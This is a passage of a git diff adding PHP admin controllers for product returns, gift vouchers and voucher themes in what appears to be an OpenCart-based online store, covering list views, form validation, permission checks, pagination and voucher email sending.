+ if (isset($this->request->post['quantity'])) {
+ $data['quantity'] = $this->request->post['quantity'];
+ } elseif (!empty($return_info)) {
+ $data['quantity'] = $return_info['quantity'];
+ } else {
+ $data['quantity'] = '';
+ }
+
+ if (isset($this->request->post['opened'])) {
+ $data['opened'] = $this->request->post['opened'];
+ } elseif (!empty($return_info)) {
+ $data['opened'] = $return_info['opened'];
+ } else {
+ $data['opened'] = '';
+ }
+
+ if (isset($this->request->post['return_reason_id'])) {
+ $data['return_reason_id'] = $this->request->post['return_reason_id'];
+ } elseif (!empty($return_info)) {
+ $data['return_reason_id'] = $return_info['return_reason_id'];
+ } else {
+ $data['return_reason_id'] = '';
+ }
+
+ $this->load->model('localisation/return_reason');
+
+ $data['return_reasons'] = $this->model_localisation_return_reason->getReturnReasons();
+
+ if (isset($this->request->post['return_action_id'])) {
+ $data['return_action_id'] = $this->request->post['return_action_id'];
+ } elseif (!empty($return_info)) {
+ $data['return_action_id'] = $return_info['return_action_id'];
+ } else {
+ $data['return_action_id'] = '';
+ }
+
+ $this->load->model('localisation/return_action');
+
+ $data['return_actions'] = $this->model_localisation_return_action->getReturnActions();
+
+ if (isset($this->request->post['comment'])) {
+ $data['comment'] = $this->request->post['comment'];
+ } elseif (!empty($return_info)) {
+ $data['comment'] = $return_info['comment'];
+ } else {
+ $data['comment'] = '';
+ }
+
+ if (isset($this->request->post['return_status_id'])) {
+ $data['return_status_id'] = $this->request->post['return_status_id'];
+ } elseif (!empty($return_info)) {
+ $data['return_status_id'] = $return_info['return_status_id'];
+ } else {
+ $data['return_status_id'] = '';
+ }
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/return_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'sale/return')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (empty($this->request->post['order_id'])) {
+ $this->error['order_id'] = $this->language->get('error_order_id');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['firstname'])) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['lastname'])) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['telephone']) < 3) || (utf8_strlen($this->request->post['telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ if ((utf8_strlen($this->request->post['product']) < 1) || (utf8_strlen($this->request->post['product']) > 255)) {
+ $this->error['product'] = $this->language->get('error_product');
+ }
+
+ if ((utf8_strlen($this->request->post['model']) < 1) || (utf8_strlen($this->request->post['model']) > 64)) {
+ $this->error['model'] = $this->language->get('error_model');
+ }
+
+ if (empty($this->request->post['return_reason_id'])) {
+ $this->error['reason'] = $this->language->get('error_reason');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'sale/return')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function history() {
+ $this->load->language('sale/return');
+
+ $this->load->model('sale/return');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $results = $this->model_sale_return->getReturnHistories($this->request->get['return_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'notify' => $result['notify'] ? $this->language->get('text_yes') : $this->language->get('text_no'),
+ 'status' => $result['status'],
+ 'comment' => nl2br($result['comment']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_sale_return->getTotalReturnHistories($this->request->get['return_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('sale/return/history', 'user_token=' . $this->session->data['user_token'] . '&return_id=' . $this->request->get['return_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('sale/return_history', $data));
+ }
+
+ public function addHistory() {
+ $this->load->language('sale/return');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/return')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('sale/return');
+
+ $this->model_sale_return->addReturnHistory($this->request->get['return_id'], $this->request->post['return_status_id'], $this->request->post['comment'], $this->request->post['notify']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/voucher.php b/public/admin/controller/sale/voucher.php
new file mode 100644
index 0000000..330881d
--- /dev/null
+++ b/public/admin/controller/sale/voucher.php
@@ -0,0 +1,678 @@
+load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher->addVoucher($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher->editVoucher($this->request->get['voucher_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $voucher_id) {
+ $this->model_sale_voucher->deleteVoucher($voucher_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'v.date_added';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('sale/voucher/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('sale/voucher/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['vouchers'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $voucher_total = $this->model_sale_voucher->getTotalVouchers();
+
+ $results = $this->model_sale_voucher->getVouchers($filter_data);
+
+ foreach ($results as $result) {
+ if ($result['order_id']) {
+ $order_href = $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'] . $url, true);
+ } else {
+ $order_href = '';
+ }
+
+ $data['vouchers'][] = array(
+ 'voucher_id' => $result['voucher_id'],
+ 'code' => $result['code'],
+ 'from' => $result['from_name'],
+ 'to' => $result['to_name'],
+ 'theme' => $result['theme'],
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency')),
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('sale/voucher/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $result['voucher_id'] . $url, true),
+ 'order' => $order_href
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_code'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.code' . $url, true);
+ $data['sort_from'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.from_name' . $url, true);
+ $data['sort_to'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.to_name' . $url, true);
+ $data['sort_theme'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=theme' . $url, true);
+ $data['sort_amount'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.amount' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $voucher_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($voucher_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($voucher_total - $this->config->get('config_limit_admin'))) ? $voucher_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $voucher_total, ceil($voucher_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['voucher_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->request->get['voucher_id'])) {
+ $data['voucher_id'] = (int)$this->request->get['voucher_id'];
+ } else {
+ $data['voucher_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ if (isset($this->error['from_name'])) {
+ $data['error_from_name'] = $this->error['from_name'];
+ } else {
+ $data['error_from_name'] = '';
+ }
+
+ if (isset($this->error['from_email'])) {
+ $data['error_from_email'] = $this->error['from_email'];
+ } else {
+ $data['error_from_email'] = '';
+ }
+
+ if (isset($this->error['to_name'])) {
+ $data['error_to_name'] = $this->error['to_name'];
+ } else {
+ $data['error_to_name'] = '';
+ }
+
+ if (isset($this->error['to_email'])) {
+ $data['error_to_email'] = $this->error['to_email'];
+ } else {
+ $data['error_to_email'] = '';
+ }
+
+ if (isset($this->error['amount'])) {
+ $data['error_amount'] = $this->error['amount'];
+ } else {
+ $data['error_amount'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['voucher_id'])) {
+ $data['action'] = $this->url->link('sale/voucher/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('sale/voucher/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $this->request->get['voucher_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['voucher_id']) && (!$this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $voucher_info = $this->model_sale_voucher->getVoucher($this->request->get['voucher_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($voucher_info)) {
+ $data['code'] = $voucher_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['from_name'])) {
+ $data['from_name'] = $this->request->post['from_name'];
+ } elseif (!empty($voucher_info)) {
+ $data['from_name'] = $voucher_info['from_name'];
+ } else {
+ $data['from_name'] = '';
+ }
+
+ if (isset($this->request->post['from_email'])) {
+ $data['from_email'] = $this->request->post['from_email'];
+ } elseif (!empty($voucher_info)) {
+ $data['from_email'] = $voucher_info['from_email'];
+ } else {
+ $data['from_email'] = '';
+ }
+
+ if (isset($this->request->post['to_name'])) {
+ $data['to_name'] = $this->request->post['to_name'];
+ } elseif (!empty($voucher_info)) {
+ $data['to_name'] = $voucher_info['to_name'];
+ } else {
+ $data['to_name'] = '';
+ }
+
+ if (isset($this->request->post['to_email'])) {
+ $data['to_email'] = $this->request->post['to_email'];
+ } elseif (!empty($voucher_info)) {
+ $data['to_email'] = $voucher_info['to_email'];
+ } else {
+ $data['to_email'] = '';
+ }
+
+ $this->load->model('sale/voucher_theme');
+
+ $data['voucher_themes'] = $this->model_sale_voucher_theme->getVoucherThemes();
+
+ if (isset($this->request->post['voucher_theme_id'])) {
+ $data['voucher_theme_id'] = $this->request->post['voucher_theme_id'];
+ } elseif (!empty($voucher_info)) {
+ $data['voucher_theme_id'] = $voucher_info['voucher_theme_id'];
+ } else {
+ $data['voucher_theme_id'] = '';
+ }
+
+ if (isset($this->request->post['message'])) {
+ $data['message'] = $this->request->post['message'];
+ } elseif (!empty($voucher_info)) {
+ $data['message'] = $voucher_info['message'];
+ } else {
+ $data['message'] = '';
+ }
+
+ if (isset($this->request->post['amount'])) {
+ $data['amount'] = $this->request->post['amount'];
+ } elseif (!empty($voucher_info)) {
+ $data['amount'] = $voucher_info['amount'];
+ } else {
+ $data['amount'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($voucher_info)) {
+ $data['status'] = $voucher_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['code']) < 3) || (utf8_strlen($this->request->post['code']) > 10)) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ $voucher_info = $this->model_sale_voucher->getVoucherByCode($this->request->post['code']);
+
+ if ($voucher_info) {
+ if (!isset($this->request->get['voucher_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ } elseif ($voucher_info['voucher_id'] != $this->request->get['voucher_id']) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['to_name']) < 1) || (utf8_strlen($this->request->post['to_name']) > 64)) {
+ $this->error['to_name'] = $this->language->get('error_to_name');
+ }
+
+ if ((utf8_strlen($this->request->post['to_email']) > 96) || !filter_var($this->request->post['to_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['to_email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['from_name']) < 1) || (utf8_strlen($this->request->post['from_name']) > 64)) {
+ $this->error['from_name'] = $this->language->get('error_from_name');
+ }
+
+ if ((utf8_strlen($this->request->post['from_email']) > 96) || !filter_var($this->request->post['from_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['from_email'] = $this->language->get('error_email');
+ }
+
+ if ($this->request->post['amount'] < 1) {
+ $this->error['amount'] = $this->language->get('error_amount');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $voucher_id) {
+ $order_voucher_info = $this->model_sale_order->getOrderVoucherByVoucherId($voucher_id);
+
+ if ($order_voucher_info) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $order_voucher_info['order_id'], true));
+
+ break;
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function history() {
+ $this->load->language('sale/voucher');
+
+ $this->load->model('sale/voucher');
+
+ $data['text_no_results'] = $this->language->get('text_no_results');
+
+ $data['column_order_id'] = $this->language->get('column_order_id');
+ $data['column_customer'] = $this->language->get('column_customer');
+ $data['column_amount'] = $this->language->get('column_amount');
+ $data['column_date_added'] = $this->language->get('column_date_added');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $results = $this->model_sale_voucher->getVoucherHistories($this->request->get['voucher_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_sale_voucher->getTotalVoucherHistories($this->request->get['voucher_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('sale/voucher/history', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $this->request->get['voucher_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('sale/voucher_history', $data));
+ }
+
+ public function send() {
+ $this->load->language('mail/voucher');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/voucher')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ $this->load->model('sale/voucher');
+
+ $vouchers = array();
+
+ if (isset($this->request->post['selected'])) {
+ $vouchers = $this->request->post['selected'];
+ } elseif (isset($this->request->post['voucher_id'])) {
+ $vouchers[] = $this->request->post['voucher_id'];
+ }
+
+ if ($vouchers) {
+ $this->load->model('sale/order');
+ $this->load->model('sale/voucher_theme');
+
+ foreach ($vouchers as $voucher_id) {
+ $voucher_info = $this->model_sale_voucher->getVoucher($voucher_id);
+
+ if ($voucher_info) {
+ if ($voucher_info['order_id']) {
+ $order_id = $voucher_info['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ // If voucher belongs to an order
+ if ($order_info) {
+ $this->load->model('localisation/language');
+
+ $language = new Language($order_info['language_code']);
+ $language->load($order_info['language_code']);
+ $language->load('mail/voucher');
+
+ // HTML Mail
+ $data['title'] = sprintf($language->get('text_subject'), $voucher_info['from_name']);
+
+ $data['text_greeting'] = sprintf($language->get('text_greeting'), $this->currency->format($voucher_info['amount'], (!empty($order_info['currency_code']) ? $order_info['currency_code'] : $this->config->get('config_currency')), (!empty($order_info['currency_value']) ? $order_info['currency_value'] : $this->currency->getValue($this->config->get('config_currency')))));
+ $data['text_from'] = sprintf($language->get('text_from'), $voucher_info['from_name']);
+ $data['text_message'] = $language->get('text_message');
+ $data['text_redeem'] = sprintf($language->get('text_redeem'), $voucher_info['code']);
+ $data['text_footer'] = $language->get('text_footer');
+
+ $voucher_theme_info = $this->model_sale_voucher_theme->getVoucherTheme($voucher_info['voucher_theme_id']);
+
+ if ($voucher_theme_info && is_file(DIR_IMAGE . $voucher_theme_info['image'])) {
+ $data['image'] = HTTP_CATALOG . 'image/' . $voucher_theme_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $data['store_name'] = $order_info['store_name'];
+ $data['store_url'] = $order_info['store_url'];
+ $data['message'] = nl2br($voucher_info['message']);
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($voucher_info['to_email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($order_info['store_name'], ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($language->get('text_subject'), html_entity_decode($voucher_info['from_name'], ENT_QUOTES, 'UTF-8')));
+ $mail->setHtml($this->load->view('mail/voucher', $data));
+ $mail->send();
+
+ // If voucher does not belong to an order
+ } else {
+ $this->language->load('mail/voucher');
+
+ $data['title'] = sprintf($this->language->get('text_subject'), $voucher_info['from_name']);
+
+ $data['text_greeting'] = sprintf($this->language->get('text_greeting'), $this->currency->format($voucher_info['amount'], $this->config->get('config_currency')));
+ $data['text_from'] = sprintf($this->language->get('text_from'), $voucher_info['from_name']);
+ $data['text_message'] = $this->language->get('text_message');
+ $data['text_redeem'] = sprintf($this->language->get('text_redeem'), $voucher_info['code']);
+ $data['text_footer'] = $this->language->get('text_footer');
+
+ $voucher_theme_info = $this->model_sale_voucher_theme->getVoucherTheme($voucher_info['voucher_theme_id']);
+
+ if ($voucher_theme_info && is_file(DIR_IMAGE . $voucher_theme_info['image'])) {
+ $data['image'] = HTTP_CATALOG . 'image/' . $voucher_theme_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $data['store_name'] = $this->config->get('config_name');
+ $data['store_url'] = HTTP_CATALOG;
+ $data['message'] = nl2br($voucher_info['message']);
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($voucher_info['to_email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(html_entity_decode(sprintf($this->language->get('text_subject'), $voucher_info['from_name']), ENT_QUOTES, 'UTF-8'));
+ $mail->setHtml($this->load->view('mail/voucher', $data));
+ $mail->send();
+ }
+ }
+ }
+
+ $json['success'] = $this->language->get('text_sent');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/voucher_theme.php b/public/admin/controller/sale/voucher_theme.php
new file mode 100644
index 0000000..48f6218
--- /dev/null
+++ b/public/admin/controller/sale/voucher_theme.php
@@ -0,0 +1,381 @@
+load->language('sale/voucher_theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/voucher_theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher_theme->addVoucherTheme($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/voucher_theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher_theme->editVoucherTheme($this->request->get['voucher_theme_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/voucher_theme');
+
